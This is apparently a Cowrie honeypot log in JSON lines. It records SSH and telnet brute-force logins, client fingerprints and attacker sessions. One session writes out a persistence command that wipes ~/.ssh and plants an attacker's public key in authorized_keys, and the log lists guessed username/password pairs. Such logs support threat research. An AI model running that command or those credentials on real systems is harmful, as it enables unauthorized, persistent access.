f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:16.303902Z","src_ip":"223.197.186.7","session":"0f99abe21407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"password1234","message":"login attempt [guest/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:16.637032Z","src_ip":"223.17.1.118","session":"22540fa37354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:16.736382Z","src_ip":"162.144.249.8","session":"1c14e40a3cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:17.855675Z","src_ip":"223.17.1.118","session":"22540fa37354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@QWER","message":"login attempt [root/1234@QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:17.932261Z","src_ip":"223.197.186.7","session":"0f99abe21407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:19.150357Z","src_ip":"223.197.186.7","session":"0f99abe21407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.84916138648987,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:19.571730Z","src_ip":"170.64.224.25","session":"cc567762e092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.375261068344116,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:21.226273Z","src_ip":"170.64.224.25","session":"5237e1c53630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":42954,"dst_ip":"159.203.135.109","dst_port":23,"session":"70baa0536f3d","protocol":"telnet","message":"New connection: 137.184.5.188:42954 (159.203.135.109:23) [session: 70baa0536f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:31.347990Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":42382,"dst_ip":"159.203.135.109","dst_port":22,"session":"794ef76d075c","protocol":"ssh","message":"New connection: 161.248.201.12:42382 (159.203.135.109:22) [session: 794ef76d075c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:31.477411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:31.482570Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:31.740217Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@1234","message":"login attempt [oracle/oracle@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:32.791759Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:33.349193Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:33.352141Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:33.356024Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:33.866387Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:34.169339Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:34.172120Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:34.432610Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:34.435663Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":36250,"dst_ip":"159.203.135.109","dst_port":22,"session":"41030e1e0016","protocol":"ssh","message":"New connection: 161.248.201.12:36250 (159.203.135.109:22) [session: 41030e1e0016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:34.685824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:34.691999Z","src_ip":"161.248.201.12","session":"41030e1e0016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:34.949719Z","src_ip":"161.248.201.12","session":"41030e1e0016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:36.007902Z","src_ip":"161.248.201.12","session":"41030e1e0016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:37.266515Z","src_ip":"161.248.201.12","session":"41030e1e0016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":36254,"dst_ip":"159.203.135.109","dst_port":22,"session":"30c3cecb5e81","protocol":"ssh","message":"New connection: 161.248.201.12:36254 (159.203.135.109:22) [session: 30c3cecb5e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:37.515631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:37.519593Z","src_ip":"161.248.201.12","session":"30c3cecb5e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:37.774879Z","src_ip":"161.248.201.12","session":"30c3cecb5e81","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:38.825379Z","src_ip":"161.248.201.12","session":"30c3cecb5e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:39.081532Z","src_ip":"161.248.201.12","session":"30c3cecb5e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:39.086128Z","src_ip":"161.248.201.12","session":"794ef76d075c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":38640,"dst_ip":"159.203.135.109","dst_port":22,"session":"6339ab389419","protocol":"ssh","message":"New connection: 173.236.247.120:38640 (159.203.135.109:22) [session: 6339ab389419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:41.716889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:41.719644Z","src_ip":"173.236.247.120","session":"6339ab389419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:41.728930Z","src_ip":"173.236.247.120","session":"6339ab389419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1tm@rt#M@st3r!P@ss","message":"login attempt [root/B1tm@rt#M@st3r!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:41.757843Z","src_ip":"173.236.247.120","session":"6339ab389419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:42.769480Z","src_ip":"173.236.247.120","session":"6339ab389419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":60336,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a163d7d6096","protocol":"ssh","message":"New connection: 167.86.88.212:60336 (159.203.135.109:22) [session: 5a163d7d6096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:55.399487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:55.402982Z","src_ip":"167.86.88.212","session":"5a163d7d6096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":43396,"dst_ip":"159.203.135.109","dst_port":22,"session":"947ddfc3ae50","protocol":"ssh","message":"New connection: 103.82.20.28:43396 (159.203.135.109:22) [session: 947ddfc3ae50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:55.457651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:55.460901Z","src_ip":"103.82.20.28","session":"947ddfc3ae50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:55.497356Z","src_ip":"167.86.88.212","session":"5a163d7d6096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:55.724961Z","src_ip":"103.82.20.28","session":"947ddfc3ae50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nico","message":"login attempt [root/nico] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:55.899501Z","src_ip":"167.86.88.212","session":"5a163d7d6096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc","message":"login attempt [root/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:56.519918Z","src_ip":"103.82.20.28","session":"947ddfc3ae50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:56.994661Z","src_ip":"167.86.88.212","session":"5a163d7d6096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:57.786820Z","src_ip":"103.82.20.28","session":"947ddfc3ae50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.215.164.223","src_port":38054,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa5197913afc","protocol":"ssh","message":"New connection: 185.215.164.223:38054 (10.17.0.5:22) [session: fa5197913afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:58.591757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:58.595912Z","src_ip":"185.215.164.223","session":"fa5197913afc","protocol":"ssh"}
